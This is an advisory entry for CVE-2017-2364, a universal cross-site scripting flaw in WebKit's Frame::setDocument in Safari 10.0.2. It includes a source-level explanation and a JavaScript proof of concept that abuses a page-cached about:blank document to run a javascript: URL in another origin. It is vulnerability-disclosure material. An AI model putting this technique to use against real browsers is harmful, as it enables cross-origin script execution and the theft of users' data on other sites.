Apple WebKit 10.0.2 'Frame::setDocument (1)' Universal Cross-Site Scripting

Published
Credit
Risk
2017.04.05
Google Security Research
Low
CWE
CVE
Local
Remote
N/A
CVE-2017-2364
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
None
None

<!--
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);

if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();

m_doc = newDocument.copyRef();
...
}

The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.

PoC:
-->

"use strict";

document.write("click anywhere to start");

window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;

let a = d.createElement("a");
a.href = "https://abc.xyz/";
a.click(); <<------- about:blank -> Document::InPageCache

let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);

let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};


<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1056


See this note in RAW Version

 
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